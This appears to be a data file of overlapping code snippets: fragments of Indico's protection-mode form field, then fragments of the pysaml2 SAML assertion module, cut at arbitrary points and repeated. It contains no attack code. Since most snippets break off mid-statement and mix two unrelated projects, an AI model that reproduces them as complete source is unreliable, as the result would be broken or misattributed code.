_('Category')", "orientation='horizontal', single_kwargs=True) def __init__(self, *args, **kwargs): self.protected_object = kwargs.pop('protected_object')(kwargs['_form']) get_acl_message_url", "from markupsafe import Markup from indico.core.db import db from indico.core.db.sqlalchemy.protection", "db from indico.core.db.sqlalchemy.protection import ProtectionMode from indico.util.i18n import _ from", "def __init__(self, *args, **kwargs): self.protected_object = kwargs.pop('protected_object')(kwargs['_form']) get_acl_message_url = kwargs.pop('acl_message_url',", "= get_acl_message_url(kwargs['_form']) if get_acl_message_url else None self.can_inherit_protection = self.protected_object.protection_parent is", "*args, **kwargs): self.protected_object = kwargs.pop('protected_object')(kwargs['_form']) get_acl_message_url = kwargs.pop('acl_message_url', None) self.acl_message_url", "self.can_inherit_protection = self.protected_object.protection_parent is not None if not self.can_inherit_protection: kwargs['skip']", "= kwargs.pop('protected_object')(kwargs['_form']) get_acl_message_url = kwargs.pop('acl_message_url', None) self.acl_message_url = get_acl_message_url(kwargs['_form']) if", "= kwargs.pop('acl_message_url', None) self.acl_message_url = get_acl_message_url(kwargs['_form']) if get_acl_message_url else None", "redistribute it and/or # modify it under the terms of", "parent_type = _('Event') elif isinstance(protected_object.protection_parent, db.m.Category): parent_type = _('Category') else:", "single_kwargs=True) def __init__(self, *args, **kwargs): self.protected_object = kwargs.pop('protected_object')(kwargs['_form']) get_acl_message_url =", "This file is part of Indico. # Copyright (C) 2002", "it under the terms of the MIT License; see the", "is not None if not self.can_inherit_protection: kwargs['skip'] = {ProtectionMode.inheriting} super(IndicoProtectionField,", "CERN # # Indico is free software; you can redistribute", "= JinjaWidget('forms/protection_widget.html', single_kwargs=True) radio_widget = JinjaWidget('forms/radio_buttons_widget.html', orientation='horizontal', single_kwargs=True) def __init__(self,", "# LICENSE file for more details. from __future__ import absolute_import,", "JinjaWidget class IndicoProtectionField(IndicoEnumRadioField): widget = JinjaWidget('forms/protection_widget.html', single_kwargs=True) radio_widget = JinjaWidget('forms/radio_buttons_widget.html',", "protected_object = self.get_form().protected_object if hasattr(protected_object, 'get_non_inheriting_objects'): non_inheriting_objects = protected_object.get_non_inheriting_objects() else:", "self.can_inherit_protection: kwargs['skip'] = {ProtectionMode.inheriting} super(IndicoProtectionField, self).__init__(*args, enum=ProtectionMode, **kwargs) def render_protection_message(self):", "protected_object.get_non_inheriting_objects() else: non_inheriting_objects = [] if isinstance(protected_object.protection_parent, db.m.Event): parent_type =", "else: non_inheriting_objects = [] if isinstance(protected_object.protection_parent, db.m.Event): parent_type = _('Event')", "indico.util.i18n import _ from indico.web.forms.fields import IndicoEnumRadioField from indico.web.forms.widgets import", "enum=ProtectionMode, **kwargs) def render_protection_message(self): protected_object = self.get_form().protected_object if hasattr(protected_object, 'get_non_inheriting_objects'):", "Indico. # Copyright (C) 2002 - 2020 CERN # #", "JinjaWidget('forms/radio_buttons_widget.html', orientation='horizontal', single_kwargs=True) def __init__(self, *args, **kwargs): self.protected_object = kwargs.pop('protected_object')(kwargs['_form'])", "= self.get_form().protected_object if hasattr(protected_object, 'get_non_inheriting_objects'): non_inheriting_objects = protected_object.get_non_inheriting_objects() else: non_inheriting_objects", "import JinjaWidget class IndicoProtectionField(IndicoEnumRadioField): widget = JinjaWidget('forms/protection_widget.html', single_kwargs=True) radio_widget =", "= {ProtectionMode.inheriting} super(IndicoProtectionField, self).__init__(*args, enum=ProtectionMode, **kwargs) def render_protection_message(self): protected_object =", "'get_non_inheriting_objects'): non_inheriting_objects = protected_object.get_non_inheriting_objects() else: non_inheriting_objects = [] if isinstance(protected_object.protection_parent,", "and/or # modify it under the terms of the MIT", "get_acl_message_url = kwargs.pop('acl_message_url', None) self.acl_message_url = get_acl_message_url(kwargs['_form']) if get_acl_message_url else", "file is part of Indico. # Copyright (C) 2002 -", "kwargs.pop('acl_message_url', None) self.acl_message_url = get_acl_message_url(kwargs['_form']) if get_acl_message_url else None self.can_inherit_protection", "= _('Session') rv = render_template('_protection_info.html', field=self, protected_object=protected_object, parent_type=parent_type, non_inheriting_objects=non_inheriting_objects) return", "self.protected_object = kwargs.pop('protected_object')(kwargs['_form']) get_acl_message_url = kwargs.pop('acl_message_url', None) self.acl_message_url = get_acl_message_url(kwargs['_form'])", "import _ from indico.web.forms.fields import IndicoEnumRadioField from indico.web.forms.widgets import JinjaWidget", "if get_acl_message_url else None self.can_inherit_protection = self.protected_object.protection_parent is not None", "self.protected_object.protection_parent is not None if not self.can_inherit_protection: kwargs['skip'] = {ProtectionMode.inheriting}" ]
[ "= 'NameID' c_namespace = NAMESPACE c_children = NameIDType_.c_children.copy() c_attributes =", "# no consent is needed. CONSENT_INAPPLICABLE = \"urn:oasis:names:tc:SAML:2.0:consent:inapplicable\" # Subject", "initiate authentication # authenticate the request with login credentials AUTHN_PASSWORD", "[OneTimeUse]) c_cardinality['one_time_use'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}ProxyRestriction'] = ( 'proxy_restriction', [ProxyRestriction])", "SubjectLocalityType_.c_tag: subject_locality_type__from_string, AuthnContext.c_tag: authn_context_from_string, AuthnContextType_.c_tag: authn_context_type__from_string, AuthnContextClassRef.c_tag: authn_context_class_ref_from_string, AuthnContextDeclRef.c_tag: authn_context_decl_ref_from_string,", "SubjectConfirmationDataType_.c_attributes.copy() c_child_order = SubjectConfirmationDataType_.c_child_order[:] c_cardinality = SubjectConfirmationDataType_.c_cardinality.copy() def subject_confirmation_data_from_string(xml_string): return", "= 'EncryptedAssertion' c_namespace = NAMESPACE c_children = EncryptedElementType_.c_children.copy() c_attributes =", "\"urn:oasis:names:tc:SAML:1.1:nameid-format:X509SubjectName\") # subject as windows domain name NAMEID_FORMAT_WINDOWSDOMAINQUALIFIEDNAME = (", "\"Attribute value base should not have extension attributes\" ) return", "xml_string) class ProxyRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestrictionType element \"\"\" c_tag = 'ProxyRestrictionType'", "int, 'to_type': int, 'to_text': _str, }, 'long': { 'type': int,", "'string', False) c_attributes['DNSName'] = ('dns_name', 'string', False) def __init__(self, address=None,", "'Attribute': Attribute, 'AttributeType': AttributeType_, 'AttributeValue': AttributeValue, 'EncryptedAttribute': EncryptedAttribute, 'BaseIDAbstractType': BaseIDAbstractType_,", "self.subject = subject self.conditions = conditions self.advice = advice self.statement", "= 'Audience' c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'} c_children", "c_cardinality = ProxyRestrictionType_.c_cardinality.copy() def proxy_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestriction, xml_string) class Statement(StatementAbstractType_):", "extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.condition = condition or []", "\"\"\" c_tag = 'AttributeStatement' c_namespace = NAMESPACE c_children = AttributeStatementType_.c_children.copy()", "def evidence_from_string(xml_string): return saml2.create_class_from_xml_string(Evidence, xml_string) class AuthzDecisionStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatementType element", "return saml2.create_class_from_xml_string(EncryptedAttribute, xml_string) class BaseID(BaseIDAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseID element \"\"\" c_tag", "[AssertionIDRef]) c_cardinality['assertion_id_ref'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionURIRef'] = ( 'assertion_uri_ref', [AssertionURIRef])", "condition_from_string, AudienceRestriction.c_tag: audience_restriction_from_string, AudienceRestrictionType_.c_tag: audience_restriction_type__from_string, Audience.c_tag: audience_from_string, OneTimeUse.c_tag: one_time_use_from_string, OneTimeUseType_.c_tag:", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AudienceRestriction'] = ( 'audience_restriction', [AudienceRestriction]) c_cardinality['audience_restriction'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}OneTimeUse']", "# the 3rd party is identified on behalf of the", "def issuer_from_string(xml_string): return saml2.create_class_from_xml_string(Issuer, xml_string) class AssertionIDRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionIDRef element", "# consent has been obtained before the message has been", "c_tag = 'AssertionType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes", "NAMESPACE c_children = AuthzDecisionStatementType_.c_children.copy() c_attributes = AuthzDecisionStatementType_.c_attributes.copy() c_child_order = AuthzDecisionStatementType_.c_child_order[:]", "}, 'long': { 'type': int, 'to_type': int, 'to_text': _str, },", "def __init__(self, address=None, dns_name=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements,", "return saml2.create_class_from_xml_string(AuthnStatementType_, xml_string) class AttributeStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatementType element \"\"\" c_tag", "'name_id', 'encrypted_id', 'subject_confirmation_data']) def __init__(self, base_id=None, name_id=None, encrypted_id=None, subject_confirmation_data=None, method=None,", "query the following pdf. # http://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf # The specification was", "NAMESPACE c_children = BaseIDAbstractType_.c_children.copy() c_attributes = BaseIDAbstractType_.c_attributes.copy() c_child_order = BaseIDAbstractType_.c_child_order[:]", "'encrypted_attribute', [EncryptedAttribute]) c_cardinality['encrypted_attribute'] = {\"min\": 0} c_child_order.extend(['attribute', 'encrypted_attribute']) def __init__(self,", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Issuer'] =", "consent has been obtained explicitly CONSENT_EXPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-explicit\" # no", "= BaseIDAbstractType_.c_children.copy() c_attributes = BaseIDAbstractType_.c_attributes.copy() c_child_order = BaseIDAbstractType_.c_child_order[:] c_cardinality =", "( 'authn_statement', [AuthnStatement]) c_cardinality['authn_statement'] = {\"min\": 0} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthzDecisionStatement'] =", "version 0.4. # # A summary of available specifications can", "OneTimeUse.c_tag: one_time_use_from_string, OneTimeUseType_.c_tag: one_time_use_type__from_string, ProxyRestriction.c_tag: proxy_restriction_from_string, ProxyRestrictionType_.c_tag: proxy_restriction_type__from_string, Advice.c_tag: advice_from_string,", "extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.encrypted_data = encrypted_data self.encrypted_key", "'http://www.w3.org/2001/XMLSchema' # xmlschema-instance, which contains several builtin attributes XSI_NAMESPACE =", "consent attributes determine wether consent has been given and under", "\"urn:oasis:names:tc:SAML:2.0:consent:obtained\" # consent has been obtained before the message has", "c_tag = 'ProxyRestriction' c_namespace = NAMESPACE c_children = ProxyRestrictionType_.c_children.copy() c_attributes", "AudienceRestriction, 'AudienceRestrictionType': AudienceRestrictionType_, 'Audience': Audience, 'OneTimeUse': OneTimeUse, 'OneTimeUseType': OneTimeUseType_, 'ProxyRestriction':", "'short': { 'type': int, 'to_type': int, 'to_text': _str, }, 'int':", "= NameIDType_.c_attributes.copy() c_child_order = NameIDType_.c_child_order[:] c_cardinality = NameIDType_.c_cardinality.copy() def name_id_from_string(xml_string):", "format NAMEID_FORMAT_ENCRYPTED = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:encrypted\") # dicc for avaiable formats", "c_child_order.extend(['issuer', 'signature', 'subject', 'conditions', 'advice', 'statement', 'authn_statement', 'authz_decision_statement', 'attribute_statement']) def", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.namespace = namespace def action_type__from_string(xml_string): return saml2.create_class_from_xml_string(ActionType_, xml_string)", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}NameID'] = ('name_id', NameID) c_cardinality['name_id'] = {\"min\": 0, \"max\": 1}", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['NotBefore'] = ('not_before', 'dateTime', False) c_attributes['NotOnOrAfter']", "custom format NAME_FORMAT_UNSPECIFIED = ( \"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified\") # uri format NAME_FORMAT_URI", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:DecisionType element \"\"\" c_tag = 'DecisionType' c_namespace = NAMESPACE", "= ('not_on_or_after', 'dateTime', False) c_attributes['Recipient'] = ('recipient', 'anyURI', False) c_attributes['InResponseTo']", "{\"min\": 0} c_child_order.extend(['attribute', 'encrypted_attribute']) def __init__(self, attribute=None, encrypted_attribute=None, text=None, extension_elements=None,", "saml2.create_class_from_xml_string(Audience, xml_string) class OneTimeUseType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUseType element \"\"\" c_tag =", "NAMESPACE c_children = SubjectConfirmationType_.c_children.copy() c_attributes = SubjectConfirmationType_.c_attributes.copy() c_child_order = SubjectConfirmationType_.c_child_order[:]", "IPv6 address if valid_ipv4(self.address) or valid_ipv6(self.address): pass else: raise ShouldValueError(\"Not", "AssertionType_.c_children.copy() c_attributes = AssertionType_.c_attributes.copy() c_child_order = AssertionType_.c_child_order[:] c_cardinality = AssertionType_.c_cardinality.copy()", "ConditionAbstractType_.c_attributes.copy() c_child_order = ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() def one_time_use_type__from_string(xml_string): return", "identifier.\" \"\"\" c_tag = 'NameID' c_namespace = NAMESPACE c_children =", "namespace NS_SOAP_ENC = \"http://schemas.xmlsoap.org/soap/encoding/\" # type definitions for xmlschemas XSI_TYPE", "14:23:33 2011 by parse_xsd.py version 0.4. # # A summary", "['', ''] if xsd_string == '' else [ XSD if", "StatementAbstractType_.c_children.copy() c_attributes = StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy()", "( 'subject_confirmation', [SubjectConfirmation]) c_cardinality['subject_confirmation'] = {\"min\": 0} c_child_order.extend(['base_id', 'name_id', 'encrypted_id',", "def set_type(self, typ): try: del self.extension_attributes[XSI_NIL] except (AttributeError, KeyError): pass", "each declaring: # - a corresponding python type # -", "'', xsd_string ] if ':' not in xsd_string else xsd_string.split(':',", "evidence_from_string, EvidenceType_.c_tag: evidence_type__from_string, AttributeStatement.c_tag: attribute_statement_from_string, AttributeStatementType_.c_tag: attribute_statement_type__from_string, Attribute.c_tag: attribute_from_string, AttributeType_.c_tag:", "except ImportError: from base64 import b64encode from saml2.validate import valid_ipv4,", "('version', 'string', True) c_attributes['ID'] = ('id', 'ID', True) c_attributes['IssueInstant'] =", "found at: # https://wiki.oasis-open.org/security/FrontPage # # saml core specifications to", "MustValueError from saml2.validate import valid_ipv6 from saml2.validate import ShouldValueError from", "= ( ('NAME_FORMAT_BASIC', NAME_FORMAT_BASIC), ('NAME_FORMAT_URI', NAME_FORMAT_URI), ('NAME_FORMAT_UNSPECIFIED', NAME_FORMAT_UNSPECIFIED), ) #", "obtained explicitly CONSENT_EXPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-explicit\" # no consent has been", "and self.extension_elements else tree.text ) if text: #print(\"set_text:\", tree.text) #", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextClassRef'] = (", "= SamlBase.c_cardinality.copy() c_attributes['NotBefore'] = ('not_before', 'dateTime', False) c_attributes['NotOnOrAfter'] = ('not_on_or_after',", "\"\"\" c_tag = 'OneTimeUse' c_namespace = NAMESPACE c_children = OneTimeUseType_.c_children.copy()", "element \"\"\" c_tag = 'AudienceRestriction' c_namespace = NAMESPACE c_children =", "c_cardinality = AdviceType_.c_cardinality.copy() def advice_from_string(xml_string): return saml2.create_class_from_xml_string(Advice, xml_string) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++", "c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() class", "c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() def statement_from_string(xml_string): return saml2.create_class_from_xml_string(Statement,", "is not valid_type: _wrong_type_value(xsd=xsd_type, value=value) text = to_text(value) self.set_type( '{ns}:{type}'.format(ns=xsd_ns,", "extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.not_before = not_before self.not_on_or_after =", "[Assertion]) c_cardinality['assertion'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAssertion'] = ( 'encrypted_assertion', [EncryptedAssertion])", "to embed SAML assertions. # https://docs.oasis-open.org/security/saml/v2.0/saml-profiles-2.0-os.pdf # The specification was", "c_child_order.extend(['condition', 'audience_restriction', 'one_time_use', 'proxy_restriction']) def __init__(self, condition=None, audience_restriction=None, one_time_use=None, proxy_restriction=None,", "= AttributeStatementType_.c_children.copy() c_attributes = AttributeStatementType_.c_attributes.copy() c_child_order = AttributeStatementType_.c_child_order[:] c_cardinality =", "SubjectLocalityType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocalityType element \"\"\" c_tag = 'SubjectLocalityType' c_namespace =", "AuthnContextClassRef) c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDecl'] = ( 'authn_context_decl', AuthnContextDecl) c_cardinality['authn_context_decl'] = {\"min\": 0,", "self.not_on_or_after = not_on_or_after self.recipient = recipient self.in_response_to = in_response_to self.address", "AudienceRestrictionType_.c_child_order[:] c_cardinality = AudienceRestrictionType_.c_cardinality.copy() def audience_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestriction, xml_string) class", "urn:oasis:names:tc:SAML:2.0:assertion:AssertionURIRef element \"\"\" c_tag = 'AssertionURIRef' c_namespace = NAMESPACE c_value_type", "EvidenceType_.c_cardinality.copy() def evidence_from_string(xml_string): return saml2.create_class_from_xml_string(Evidence, xml_string) class AuthzDecisionStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatementType", "class NameIDType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameIDType element \"\"\" c_tag = 'NameIDType' c_namespace", "= {\"namespace\": \"##any\", \"processContents\": \"lax\", \"minOccurs\": \"0\", \"maxOccurs\": \"unbounded\"} c_any_attribute", "\"\"\" c_tag = 'AdviceType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy()", "'Subject': Subject, 'SubjectType': SubjectType_, 'SubjectConfirmation': SubjectConfirmation, 'SubjectConfirmationType': SubjectConfirmationType_, 'SubjectConfirmationData': SubjectConfirmationData,", "= {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Statement'] = ( 'statement', [Statement])", "self.session_not_on_or_after = session_not_on_or_after def authn_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatementType_, xml_string) class AttributeStatementType_(StatementAbstractType_):", "False) c_child_order.extend(['audience']) def __init__(self, audience=None, count=None, text=None, extension_elements=None, extension_attributes=None): ConditionAbstractType_.__init__(", "valid_domain_name import saml2 from saml2 import SamlBase import six from", "True else: SamlBase.verify(self) def set_type(self, typ): try: del self.extension_attributes[XSI_NIL] except", "ELEMENT_BY_TAG = { 'BaseID': BaseID, 'NameID': NameID, 'NameIDType': NameIDType_, 'EncryptedElementType':", "'encrypted_attribute']) def __init__(self, attribute=None, encrypted_attribute=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self,", "from base64 import encodebytes as b64encode except ImportError: from base64", "# A summary of available specifications can be found at:", "= 'EncryptedID' c_namespace = NAMESPACE c_children = EncryptedElementType_.c_children.copy() c_attributes =", "{\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Statement'] = ( 'statement', [Statement]) c_cardinality['statement']", "c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}BaseID']", "self._extatt: self.extension_attributes = self._extatt if text: self.set_text(text) elif not extension_elements:", "templates and extensions XS_NAMESPACE = 'http://www.w3.org/2001/XMLSchema' # xmlschema-instance, which contains", "or IPv6 address\") elif self.dns_name: valid_domain_name(self.dns_name) return SubjectLocalityType_.verify(self) def subject_locality_from_string(xml_string):", "class BaseIDAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseIDAbstractType element \"\"\" c_tag = 'BaseIDAbstractType' c_namespace", "name_qualifier=None, sp_name_qualifier=None, format=None, sp_provided_id=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements,", "= {'base': 'anyType'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order", "{} SamlBase.__init__(self, text=None, extension_elements=extension_elements, extension_attributes=extension_attributes) if self._extatt: self.extension_attributes = self._extatt", "if ':' not in xsd_string else xsd_string.split(':', 1)) xsd_type_props =", "as email address NAMEID_FORMAT_EMAILADDRESS = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress\") # subject as", "'AuthzDecisionStatementType', 'Advice'] class EvidenceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EvidenceType element \"\"\" c_tag =", "= key_info or [] def key_info_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(KeyInfoConfirmationDataType_, xml_string) class", "c_value_type = {'base': 'NCName'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "def one_time_use_from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUse, xml_string) class ProxyRestriction(ProxyRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestriction element", "authn_statement or [] self.authz_decision_statement = authz_decision_statement or [] self.attribute_statement =", "is permitted or denied DECISION_TYPE_INDETERMINATE = \"Indeterminate\" # consent attributes", "'OneTimeUseType' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy() c_attributes = ConditionAbstractType_.c_attributes.copy()", "xml_string) class AttributeType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeType element \"\"\" c_tag = 'AttributeType'", "c_cardinality = NameIDType_.c_cardinality.copy() def name_id_from_string(xml_string): return saml2.create_class_from_xml_string(NameID, xml_string) class SubjectConfirmationData(SubjectConfirmationDataType_):", "= to_type(value) except (TypeError, ValueError, KeyError): # the cast failed", "c_tag = 'Subject' c_namespace = NAMESPACE c_children = SubjectType_.c_children.copy() c_attributes", "def verify(self): if not self.text and not self.extension_elements: if not", "self.namespace = namespace def action_type__from_string(xml_string): return saml2.create_class_from_xml_string(ActionType_, xml_string) class AttributeValue(AttributeValueBase):", "urn:oasis:names:tc:SAML:2.0:assertion:AssertionType element \"\"\" c_tag = 'AssertionType' c_namespace = NAMESPACE c_children", "\"\"\" c_tag = 'Subject' c_namespace = NAMESPACE c_children = SubjectType_.c_children.copy()", "\"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}NameID'] = ('name_id', NameID) c_cardinality['name_id'] = {\"min\": 0,", "to not have actual text content text = ( tree.text.strip()", "element \"\"\" c_tag = 'AuthnContextClassRef' c_namespace = NAMESPACE c_value_type =", "c_attributes['AuthnInstant'] = ('authn_instant', 'dateTime', True) c_attributes['SessionIndex'] = ('session_index', 'string', False)", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authenticating_authority_from_string(xml_string):", "[Statement]) c_cardinality['statement'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnStatement'] = ( 'authn_statement', [AuthnStatement])", "c_child_order = ActionType_.c_child_order[:] c_cardinality = ActionType_.c_cardinality.copy() def action_from_string(xml_string): return saml2.create_class_from_xml_string(Action,", "return saml2.create_class_from_xml_string(SubjectConfirmationData, xml_string) class Condition(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Condition element \"\"\" c_tag", "c_cardinality['one_time_use'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}ProxyRestriction'] = ( 'proxy_restriction', [ProxyRestriction]) c_cardinality['proxy_restriction']", "self.extension_elements else tree.text ) if text: #print(\"set_text:\", tree.text) # clear", "c_attributes['FriendlyName'] = ('friendly_name', 'string', False) c_child_order.extend(['attribute_value']) c_any_attribute = {\"namespace\": \"##other\",", "class StatementAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:StatementAbstractType element \"\"\" c_tag = 'StatementAbstractType' c_namespace", "self._extatt = {} SamlBase.__init__(self, text=None, extension_elements=extension_elements, extension_attributes=extension_attributes) if self._extatt: self.extension_attributes", "raise Exception(\"Cannot be used more than once\") if self.proxy_restriction: if", "c_child_order = ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() def condition_from_string(xml_string): return saml2.create_class_from_xml_string(Condition,", "( 'authn_context_decl', AuthnContextDecl) c_cardinality['authn_context_decl'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDeclRef']", "'encrypted_id', 'subject_confirmation']) def __init__(self, base_id=None, name_id=None, encrypted_id=None, subject_confirmation=None, text=None, extension_elements=None,", "AuthzDecisionStatement.c_tag: authz_decision_statement_from_string, AuthzDecisionStatementType_.c_tag: authz_decision_statement_type__from_string, DecisionType_.c_tag: decision_type__from_string, Action.c_tag: action_from_string, ActionType_.c_tag: action_type__from_string,", "if XSI_NIL in self.extension_attributes: del self.extension_attributes[XSI_NIL] class BaseIDAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseIDAbstractType", "Audience(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Audience element \"\"\" c_tag = 'Audience' c_namespace =", "[] self.assertion = assertion or [] self.encrypted_assertion = encrypted_assertion or", "'AssertionURIRef': AssertionURIRef, 'Assertion': Assertion, 'AssertionType': AssertionType_, 'Subject': Subject, 'SubjectType': SubjectType_,", "saml2.create_class_from_xml_string(NameID, xml_string) class SubjectConfirmationData(SubjectConfirmationDataType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationData element \"\"\" c_tag =", "ConditionsType_.c_attributes.copy() c_child_order = ConditionsType_.c_child_order[:] c_cardinality = ConditionsType_.c_cardinality.copy() def conditions_from_string(xml_string): return", "'AttributeType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "class AdviceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AdviceType element \"\"\" c_tag = 'AdviceType' c_namespace", "= ( 'authenticating_authority', [AuthenticatingAuthority]) c_cardinality['authenticating_authority'] = {\"min\": 0} c_child_order.extend(['authn_context_class_ref', 'authn_context_decl',", "c_children = AssertionType_.c_children.copy() c_attributes = AssertionType_.c_attributes.copy() c_child_order = AssertionType_.c_child_order[:] c_cardinality", "work with six.string_types _str = unicode if six.PY2 else str", "'to_type': int, 'to_text': _str, }, 'int': { 'type': int, 'to_type':", "self.extension_attributes[XSI_NIL] != \"true\": raise Exception( \"Attribute value base should not", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameID element From the Oasis SAML2 Technical Overview: \"The", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}OneTimeUse'] = ( 'one_time_use', [OneTimeUse]) c_cardinality['one_time_use'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}ProxyRestriction']", "= AttributeStatementType_.c_child_order[:] c_cardinality = AttributeStatementType_.c_cardinality.copy() def attribute_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatement, xml_string)", "ActionType_.c_cardinality.copy() def action_from_string(xml_string): return saml2.create_class_from_xml_string(Action, xml_string) class AttributeType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeType", "[] def key_info_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(KeyInfoConfirmationDataType_, xml_string) class ConditionAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionAbstractType", "{\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}OneTimeUse'] = ( 'one_time_use', [OneTimeUse]) c_cardinality['one_time_use'] = {\"min\":", "assertion_uri_ref=None, assertion=None, encrypted_assertion=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "marker if text or self.extension_elements: if XSI_NIL in self.extension_attributes: del", "= XS_NAMESPACE if typ.startswith('xsd:'): try: self.extension_attributes['xmlns:xsd'] = XS_NAMESPACE except AttributeError:", "or self.statement or \\ self.authn_statement or self.authz_decision_statement: pass elif not", "1} c_child_order.extend(['audience']) def __init__(self, audience=None, text=None, extension_elements=None, extension_attributes=None): ConditionAbstractType_.__init__( self,", "c_children = SubjectConfirmationDataType_.c_children.copy() c_attributes = SubjectConfirmationDataType_.c_attributes.copy() c_child_order = SubjectConfirmationDataType_.c_child_order[:] c_cardinality", "2 14:23:33 2011 by parse_xsd.py version 0.4. # # A", "for attribute, value in iter(tree.attrib.items()): self._convert_element_attribute_to_member(attribute, value) # if we", "SamlBase.c_attributes.copy() 